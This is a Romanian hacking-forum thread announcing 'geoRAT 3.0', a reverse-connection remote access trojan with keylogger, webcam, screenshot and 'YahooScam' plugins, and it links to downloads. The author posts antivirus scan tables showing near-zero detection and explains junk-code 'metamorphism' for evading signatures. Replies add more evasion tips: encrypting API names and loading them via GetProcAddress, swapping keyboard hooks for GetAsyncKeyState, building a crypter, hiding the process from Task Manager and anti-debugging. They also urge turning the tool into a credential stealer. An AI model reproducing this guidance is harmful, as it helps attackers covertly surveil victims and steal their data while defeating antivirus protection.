Jump to content
gigaevil

geoRAT 3.0

Recommended Posts

Am resscris codul de la inceput in cateva zile, este un Remote Administration Tool. Este orientat numai pe pluginuri, se pot scrie foarte usor pluginuri, cine va incerca sa creeze plugin-uri ma poate sa ma intrebe de API-ul prezentat de mine, si cum lucreaza(care este foarte foarte banal). Pluginurile trebuie in dll, pe viitor vor face si o extensie pt pluginuri sub forma de exe.

Ocupa 400 de kb, din care 350 de kb sunt librarile folosite din IDE-ul, 20 de kb sunt la RAT, si restul sunt junk-uri introduse direct in cod, am scris un plugin pentru metamorfism... pur si simplu am facut un mic interpretor de pascal si dupa aceea introduce functii, variabile. Din cauza aceasta unele functii ruleaza mai incet, le si ruleaza, de exemplu poate intr-o functie e un for de face 10.000 de inmultiri.

Edit: Am sesizat ca versiunea cu metamorfism la unele functi aloca pana la 800 de mb ram :))

Daca va fi detectat teoretic va fi foarte usor sa il fac iara nedetectat, intrucat tot voi adauga cod junk prin cod diferit, intrucat este foarte mult random, si teoretic cei de la AV-uri nu pot creea un fingerprint foarte bun pentru metamorfism, si o sa incerc sa scot problema cu multi mega alocati degeaba.

georat2.png

georat1.png

Este reverse connection adica se configureaza client.exe, dupa aceea se va trimite client.exe la cealalta persoana si automat client.exe incearca sa se conecteze la IP-ul setat.

Fara metamorfism:

Client.exe

a-squared 5.1.0.3 20110820050419 2011-08-20 Trojan.Win32.Cosmu!IK 0.52

//Ikarius are o amprenta foarte proasta pentru virusul ala, si a-squared o importa

AhnLab V3 2011.08.21.00 2011.08.21 2011-08-21 - 1.583

AntiVir 8.2.6.32 7.11.13.154 2011-08-19 TR/Dldr.Delphi.Gen 0.291 //Analiza lui spune ca am functii de download files, as putea sa o scot, dau dupa aceea nu mai exista feature-ul sa poti descarca pluginuri de pe internet, fara se le uploadezi.

Antiy 2.0.18 20110804.11725727 2011-08-04 - 0.018

Arcavir 2011 201107140423 2011-07-14 - 2.297

Authentium 5.1.1 201108200744 2011-08-20 - 4.091

AVAST! 4.7.4 110821-0 2011-08-21 - 0.044

AVG 8.5.850 271.1.1/3847 2011-08-21 - 0.254

BitDefender 7.90123.8951711 7.38701 2011-08-21 - 4.541

ClamAV 0.97.1 13462 2011-08-21 - 0.096

Comodo 5.1 9819 2011-08-21 - 1.859

CP Secure 1.3.0.5 2011.08.19 2011-08-19 - 0.098

Dr.Web 5.0.2.3300 2011.08.21 2011-08-21 - 15.591

F-Prot 4.6.2.117 20110821 2011-08-21 - 3.123

F-Secure 7.02.73807 2011.08.21.01 2011-08-21 - 7.659

Fortinet 4.2.257 13.564 2011-08-20 - 0.214

GData 22.1725 20110821 2011-08-21 - 0.177

Ikarus T3.1.32.20.0 2011.08.21.79143 2011-08-21 Trojan.Win32.Cosmu 5.318

//o recuaste din cauza unui fingerprint prost pentru Cosmu.

JiangMin 13.0.900 2011.08.20 2011-08-20 - 1.599

Kaspersky 5.5.10 2011.08.21 2011-08-21 - 0.358

KingSoft 2009.2.5.15 2011.8.21.9 2011-08-21 - 0.860

McAfee 5400.1158 6444 2011-08-20 - 9.702

Microsoft 1.7604 2011.08.20 2011-08-20 - 12.017

NOD32 3.0.21 6397 2011-08-21 - 1.005

Norman 6.07.10 6.07.00 2011-08-20 - 18.021

nProtect 20110821.01 12475755 2011-08-21 - 1.378

Panda 9.05.01 2011.08.20 2011-08-20 - 2.404

Quick Heal 11.00 2011.08.20 2011-08-20 - 1.134

Rising 20.0 23.71.03.03 2011-08-18 - 2.355

Sophos 3.22.0 4.68 2011-08-21 - 3.937

Sunbelt 3.9.2497.2 10230 2011-08-21 - 9.119

Symantec 1.3.0.24 20110820.005 2011-08-20 - 0.059

The Hacker 6.7.0.1 v00282 2011-08-19 - 0.496

Trend Micro 9.200-1012 8.360.11 2011-08-17 - 0.051

VBA32 3.12.16.4 20110818.2040 2011-08-18 - 5.224

ViRobot 20110820 2011.08.20 2011-08-20 - 0.410

VirusBuster 5.3.0.4 14.0.178.2/5943991 2011-08-20 - 0.002

Plugins

Chat.dll 0/37

ComputerInformations.dll 0/37

Control.dll 0/37

Keylogger.dll 4/37 am folosit metamorfism pentru clasa de keylogger

a-squared 5.1.0.3 20110820050419 2011-08-20 Trojan-Dropper.Delf!IK 0.491

Ikarus T3.1.32.20.0 2011.08.21.79143 2011-08-21 Trojan-Dropper.Delf 7.772

//Nici macat nu folosesc functii de a scrie/citi fisiere, registri etc in pluginul acela de keylogging.

NOD32 3.0.21 6397 2011-08-21 a variant of Win32/Spy.KeyLogger.NJW trojan 0.050

VBA32 3.12.16.4 20110818.2040 2011-08-18 Malware.Delf.46 (paranoid heuristics) (suspicious) 6.273

MonitorTime.dll 0/37

PrintScreen.dll 0/37

Webcam.dll 1/37 AntiVir 8.2.6.32 7.11.13.154 2011-08-19 BDS/Backdoor.Gen2 0.283 //Numai backdoor nu e, e un plugin banal pentru webcam.

YahooScam.dll 0/37

Metamorfism:

Client.exe 1/37 Panda 9.05.01 2011.08.20 2011-08-20 Suspicous file 2.404

Chat.dll 0/37

ComputerInformations.dll 0/37

Control.dll 0/37

Keylogger.dll 1/37 NOD32 3.0.21 6397 2011-08-21 a variant of Win32/Spy.KeyLogger.NJW

MonitorTime.dll 0/37

PrintScreen.dll 0/37

Webcam.dll 0/37

YahooScam.dll 0/37

Host.exe 5633d27097619edd10a1c0448f22cadfe

0/37

Unele din functii de la metamorfism ar putea sa dea crash deoarece sunt introduse lini inutile care teoretic nu ar face nimic, dar daca pui prea multe ori ocupa prea mult din memorie, ori prea mult din processor, asa ca ar fi de recomandat sa se testeze.

Bug report: Am sesizat ca threaduri nu functioneaza asincron in pluginuri, astfel chat-ul ca era un thread asincron intrucat faceam ceva gen matrix nu mai functioneaza, asa ca nu am thread-ul e suspended.

Info: Port scanner este multi-paralel si asincron, prioritatile threadurilor sunt diferite astfel unele scaneaza mai repede decat altele.

Tot codul este orientat pe threaduri, si cred ca am sincronizat totul.

Care e ideea: Se deschide clientul, se conecteaza la tine si apoi pui pluginurile pe care le vrei in _sProgramPath+"Plugins\" si apoi le "instalezi" in aplicatie si le poti folosi. Cei care au rooter trebuie sa dea forward la port-ul setat, ca sa se poata conecta.

Cei care au IP dinamic trebuie sa-si faca un dynamic DNS sau static DNS

Download1 MEGAUPLOAD - The leading online storage and file delivery service

Download2 Download geoRAT.rar

Download3 Download geoRAT.rar for free on uploading.com

Edited by gigaevil
  • Upvote 3
Link to comment
Share on other sites

Multumesc gigaevil.

Later:

Dac? o sa mai lucrezi la el fa-l în asa fel încât modulele sa se încarce automat pe m?sura ce utilizatorul încearc? sa le foloseasc?.

Adic? func?ionalitatea modulelor sa apar? în panoul de control dar sa fie upload-ate automat doar dac? utilizatorul încearc? sa execute o comanda pentru modulul respectiv ca la PI.

Edited by tdxev
Link to comment
Share on other sites

Multumesc gigaevil.

Later:

Dac? o sa mai lucrezi la el fa-l în asa fel încât modulele sa se încarce automat pe m?sura ce utilizatorul încearc? sa le foloseasc?.

Adic? func?ionalitatea modulelor sa apar? în panoul de control dar sa fie upload-ate automat doar dac? utilizatorul încearc? sa execute o comanda pentru modulul respectiv ca la PI.

Tu cand vrei printscreen Host ii trimita o comanda clientului ca sa acceseze pluginul x si sa ii trmita parameterul urmator... si client-ul verifica daca exista x instalat daca nu ii trimite un mesaj ca nu este instalat momentan... unele sunt destul de mari 400-500 de kb. Oricum multumesc pentru idee, ideea era ca puteai sa testezi local cum functioneaza si dupa aceea doar cele pe care te interesau sa le uploadezi pe masina target.

Daca nimeresti pe cineva care are un timp de raspuns foarte mare sa il uploadezi dureaza mult. Toate instructiunile sunt puse intr-o coada, si va trebuit sa astepti tot timpul

Todo ar fi un .ini in care sa retin ce pluginuri am folosit ultima data si sa le instalez automat.

Link to comment
Share on other sites

Anul trecut am citit automate finite si limbaje formale si am scris un limbaj de programare un intepretor de o sintaxa gen C/C++ plus aveam o masina virtuala pentru limbajul meu, el era orientat mai mult spre AI avea clase pentru Retele Neuronale, Algoritmi Genetici, Tehnici fuzzy and programare logica(doar algoritmul de rezolutie). Si am copiat niste clase scrise de mine, si am modificat sintaxa, si am sters masina virtuala, adica pana in echivalenta in arborele sintactic(atat sursa initiala cat si arborele sintactic sunt echivalente, dar o alta metoda de reprezentare), dupa aceea introduc variable random, for-uri, if-uri, functii(dar fara sa apelez reciproc ca face ceva nedeterminist) etc, in arborele sintactic si (fata de sursa initiala fac o echivalenta din arborele sintactic in cod pascal din nou(citeste captiolul de translatoare de limbaje). Pur si simplu obtineam noua sursa si dupa aceea compilam, problema e ca el introduce preea multe, si multe variable si astfel sunt unele functii patch-uite cu cod care aloca ori mult ram, ori mult cpu, si o sa incerc sa remediez dupa ce termin soft-ul de acuma(un sistem expert).

In teroia antivirusilor softul polimorf isi introduce cod nou dar direct in asm in executabil(cod masina in cod masina si eu usor de recunoscut majoritatea introduc nop;-uri sau push; push; pop; pop; care nu face nimic...

Softul metamorf isi rescrie codul(adica scrie cod nou, si daca are variable constante introduce expresii random pentru a le obtine), schimba denumiri etc.. In teorie scrie ca nu se poate face un scanner de fingerprint-uri direct pe executabil si til poate recunoaste prin euristici(comprtamental) dupa niste clusterizari cu metode de clasificare(retele neuronale/fuzzy), pentru ca ai putea introduce ca la fiecare linie din sursa initiala sa introduca 2 lini noi(ceea ce face al meu) dar e gresit proiectat la randomuri. Si de ce il recunosc antivirusi? Fingerprinturi proaste, de exemplu la Ikarius nu am putut sa ii fac nimic si un form simplu compilat in delphi ti-l recunoaste.

Todo: valorile constante sa le modific random.

Edited by gigaevil
Link to comment
Share on other sites

Ok, mersi de inforamtii o sa incep sa citesc iar de ikarius nu prea am habar cum poti trece si da si mei mi s eintampla ca si pana un form nou creat este detectat:|

Ideea e ca la virusi polimorif sa faci un fingerprint bun care apare in toate mutatile lui, si poate un analist s-a gandit sa puna un fingerprint in librarile standard de la IDE, si astfel daca vom folosi librarile automat ni le va detecta.

Link to comment
Share on other sites

@Ionut Da, dar ceea ce faci tu (introducand dump code) practic modifici o parte din semnaturi dar particularitatile codului tau se pastreaza deci ar putea deveni detectabil daca un antivirus se axeaza doar pe acea latura de cod ce ramane permanent la fel. Sau am citit gresit ce ai explicat tu?

La euristici cum se comporta? E prins?

P.S : De cand umbli pe RST si cu ce ocazie? :-))

  • Upvote 1
Link to comment
Share on other sites

Codul metamorf care adauga la unele proceduri pana la 600 de mb ram, dupa fiecare linie introduce alte 3 lini random, astfel ar trebuie sa zica ceva antivirus: Exista linia asta mai trebuia si asta si asta in tot fisierul iar complexitatatea este foarte mare, iar in teoria antivirusilor nu se admite o complexitate atat de mare doar pentru un singur fisier.

Intradevar la euristici, de exemplu am sesizat panda cauta cat de des folosesc operatia delete, rename etc... si ca sa fac codul mai compact metaform adaug ambele functii, si codul e plin de delete rename. Si astfel Panda mi-l considera suspicios. Se poate face doar o analiza in timp cu metode de clusterizare care acuma ce afla in cercetare(am citit niste paper-uri de la ACM) iti pot detalia, am incercat sa scriu si eu, dar nu prea am reusit si hook-urile, imi trebui hook la majoritatatea functiilor de pe kernel si dupa aceea un log in timp la fiecare aplicatie. Si o clusterizare si astfel e o metoda nebatabila de recunoaste a virusilor. Momentan este in curs de studiu, am incercat sa o implementez anu trecut dar nu am reusit.... maine o sa postez o clasa modificata :) din 20-> 500-600 kb :) si dupa fiecare lini face asta... numai ca imi optimzeaza mult din cod... am omis ca imi pot face amprente dupa valorile constante gen _sAuthor, _sProgramVersion, si commenzile(in client sunt 12 si plugin), o sa fac sa generez const random cu functii(ca face optimizari daca il pun ca 'g'+"iga"+chr(int('a')+10), compilatorul face optimizari si retuneaza "giga".

PS. Am avut tema de la nytro.... ca na nu pot sa postez un sistem expert pe aici cu interpretarea limbi romane :))

Momenta nu am timp sa il corectez ma pregatesc pentru g6

Edit: NOD32 imi prinde keylogger-ul ca folosesc functii din win32API clasice si desi e plin de metamorfism in clasa aia tot face. Am facut un exe doar cu keylogger de 8 mega si totdegeaba.

Edited by gigaevil
Link to comment
Share on other sites

M-am uitat din nou in curs si scrie ca orice constanta ar fi ideea e ca compilatorul poate genera la compilare valoarea exacta astfel nu ai voie sa folosesti functii cu parameteri variabile ca nu sunt exact acelea, astfel va trebui sa modific in codul sursa ca din constante sa fac variabile si la functiona

Link to comment
Share on other sites

Foarte elegant, destul de multe functii...acele librarii foarte bun pentru "prostime" .Stie oust despre ce e vorba AntiExecutable :))

Desi pe unii nu ne intereseaza cat de elegant e Clientul, Daca serverul e creat fara stub..//removed

Cat despre metodele tale de a trece de sistemele de securitate ale prin metoda junk or dirty code(din cate am inteles) e buna...insa in marea majoritate a cazurilor mareste cu mult serverul uneori.

Cat despre pluginuri...sunt cam maricele pentru atat de putine functii insa asta imi aduce aminte de Yuri Rat...unde poti face upload la pluginuri, dupa care sa le accesezi.

Deoarece ai numit aceasta aplicatie Remote Admin tool nu o sa ma bag mai departe...insa l-ai putea transforma cu usurinta si sau daca nu in stealer, din cate am observat le mananci bine....sugerez sa te uiti prin ultimele mele threaduri...vei avea o idee de pornire.

Daca vrei mai multe informatii...desi nu cred ca ai nevoie ma poti contacta oricand.

Cu toate astea, Buna treaba...ma bucur ca cineva pe RST ia treaba in serios.

Sper daca imi permite timpul sa ma laud si eu cu un RAT cat de curand;)

Edited by me.mello
Link to comment
Share on other sites

E facut in Delphi.. si un singur plugin in C++ Builder... din start cu Code Optimization executabilele de la pluginuri > 300 de kb... mai foloseste si ceva Win32 API acolo in standardul meu de plugin.

Codul meu de metamorfism pur si simplu dupa fiecare linie(originala) introduce random alte random functii si am sesizat din cauza asta am multe variabile alocate prin anumite functii.

Pentru asta am folosit teoria compilatoarelor si automate finite pentru a crea arborele sintactic si sa il completez si sa il translatez in sursa initiala

Link to comment
Share on other sites

Nu pricep motivul pentru care ai inglobat niste functii banale existente in orice RAT de bun simt in 8 module separate cred ca ti-a fost si greu sa scrii atatea proiecte mie unul mi-ar fi fost mai usor sa scriu totul in server(client la tine) si sa pun si la dispozitie un api pentru nebuniile fiecaruia.Eu am instalat serverul iar dupa am constatat ca imi da eroare ca nu am pluginurile am copiat pluginurile unde trebuia in C:\Welcome\Plugins nu a mers nici dupa ce am restartat nu stiu ce am gresit...

TrayIconul ala de la BussinesSkin form chiar face probleme? sau nu l-ai configurat tu dupa ce dau minimise nu pot sa restaurez formul principal care cand nu e maximizat nu am access la controalele de jos din lista.

Iar nu inteleg de ce clientul tau are un mainform la ce iti foloseste sa maresti dimensiunea si sa incarci cu cod inutil ?

Iar faptul ca scrii la sfarsitul fisierului in loc sa folosesti resurse va face ca orice antivirus mai rasarit sa il marcheze ca suspicios pentru ca emulatorul se uita in PE headerul ultimei sectiuni si daca PointerToRawData + SizeofRawData e mai mare ca fisierul inseamna ca este ceva strain scris la sfarsit si il marcheaza ca suspicious.

Poate ma lamuresti si pe mine cum este geoRAT metamorfic pentru ca inafara de setarile care se schimba la sfarsitul fisierului eu nu am vazut nimic sa se schimbe in sectiunea de cod...

Link to comment
Share on other sites

Am scis o clasa, si de fiecare data cand eu manual compilez imi introduce foarte mult cod junk. Eu m-am prins la ceea ce te referi tu: Tu ai crezut ca el se recompileaza de fiecare data.... pentru asta trebuia sa am librarile cu care a fost complicat plus compilatorul de fiecare data si nu mi s-a parut OK!... asa ca trebuia sa iti dau 2/3 din Delphi pentru asta... intradevar la mimize am uitat(incearca close) ... nu m-am gandit la asta... Pui pluginurile in folder-ul plugins dai refresh la plugins si dupa aceea le poti instala...

De ce? De exemplu Ikarius are un fingerprint foarte prost pentru functia daca folosesti parca functia shellexecute din shellapi, si iti recunoaste... si prin metoda asta am reusit sa mai evit cativa... am creat un folder in care am bagat o versiune de metamorph... ca sa creez unul nou in trebuie doar 2 minute.... alta idee NOD32 imi recunoaste pluginul de keylogger intrucat fac hook pentru tastatura si am incercat metamorfism din 400 de kb in 10 mega si tot la recunoscut, si a fost "brutal" dupa fiecare linie introducea pana la 1000 de lini si tot nu a mers(mi l-a recunoscut) prin doar folosirea functiei de hook... astfel am decis sa le bag pe fiecare in pluginuri daca nu folosesti keylogger sa nu fie recunoscut de NOD32....

Intrucat pluginurile in DLL au fost orientate sa poti sa creze obiecte vizuale(cum e scamul) e mult mai complicat, si a trebuit sa modific atom din sursele oficiale de la Delphi, intrucat ele nu te lasa... iar atomi se foloseste numai cu forms... si din cauza asta.

Metamorful fac eu cate o versiune.

Link to comment
Share on other sites

Daca criptezi stringurile ce contin numele functiilor si apelezi functiile dinamic adica le incarci cu GetProcAdresss rasu de Ikarus nu o sa iti faca probleme iar ptr nod la fel nu treb sa faci hook ptr un keylogger banal poti folosi getasynckeystate intr-un thread sau un timer cum preferi.Oricum nu are nici o treaba cu cuvantul metamorf atata timp cat trebuie o recompilare.Poti altera codul unui executabil si fara recompilare asta in cazul ca ar fi scris calumea clientul fara ferestre si bazaconii.Poti face un crypter care sa cripteze cu o cheie random clientul generat de fiecare data ar fi mult mai folositor asa ne avand sursa nu are nici un sens decat sa povestesti la lume.

Edited by aphex
Link to comment
Share on other sites

Polimorf reprezinta ca isi copiaza executatibil si adauga cod asm(deobicei push/pop, nop)

Metamorf reprezinta ca isi copiaza codul sursa si adauga cod sursa. Singura diferenta e ca virusul metamorf are inclus un compilator, dar compilator cu toate uniturile era foarte mare.

Link to comment
Share on other sites

nu inteleg faza "metamorfic"....ma rog

Daca ai vrut sa te referi la polymorphic in nici un caz nu e....in primul rand ai stub....in al 2-lea rand ai junk code....e o metoda murdara de a face bypass..vorbeam cu oust si ma radeam:)) sunt cam mari librariile 400 kb pt un keylog care daca il pui direct in server are max 10 kb? cand mai mult de maxim 5 functii API nu invoci? atat cod junk ai bagat?...doar pt av?

Optiuni care ar trebui si iti recomand sa incerci sa le implementezi:

1:Reverse Connect....se poate face in nenumarate feluri....PHP

2:Clients: tot cu PHP implementare in server...cand este conectat severu sa scrie in PHP ceva ce e citit de catre client

3:Reverse Shell

4:Scoate alea de fun ca pare chestii copilaresti de virgin excitati(doar aia l-ar folosi) Stim cu totii ca FindWindow e functie API si WS_Hide face parte tot din win32 API. suntem un forum de securitate cat se pate de serios...chiar daca mai facem caterinca si injuram.

5:Incearca ce tiam scris mai devreme...stealer

6:Anumite functii esentiale sa le tii in server sa numai faci pluginuri...ca oricum sunt cam mari...degeaba au JunkCode Serverul e cel care trebuie sa traiasca.

7: incearca sa implementezi server.exe ca server, si incearca sa il ascuzi din task manager

8: Incearca sa implementezi ACL/DACL...putina protectie contra AV, de asemenea si protectie a procesului...sa nu fie luat in carca de olly

9: Cel mai important...incearca sa il faci polymorphic fara stub...nu cred ca e asa complicat

10:///removed

Cu toate astea nu lasa lumea rea sa zica...ca oricum aici se gasesc guri rele la orice faci si ei nu pot. Inca o data, Felicitari

Edited by me.mello
Link to comment
Share on other sites

Cred ca ar trebui sa scrii pe google metamorphic code nu am auzit in viata mea de un virus sa aiba inclus in el un compilator.metamorf inlocuieste unele instructiuni prin schimbarea registrilor inlocuirea unor instructiuni care fac aceeasi chestie.in poliformism se foloseste criptarea iar apoi se modifica stubul care face decriptarea prin introducerea de junk.pe scurt polimorfic criptate plus stub metamorfic schimba intreg codul fara criptare.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...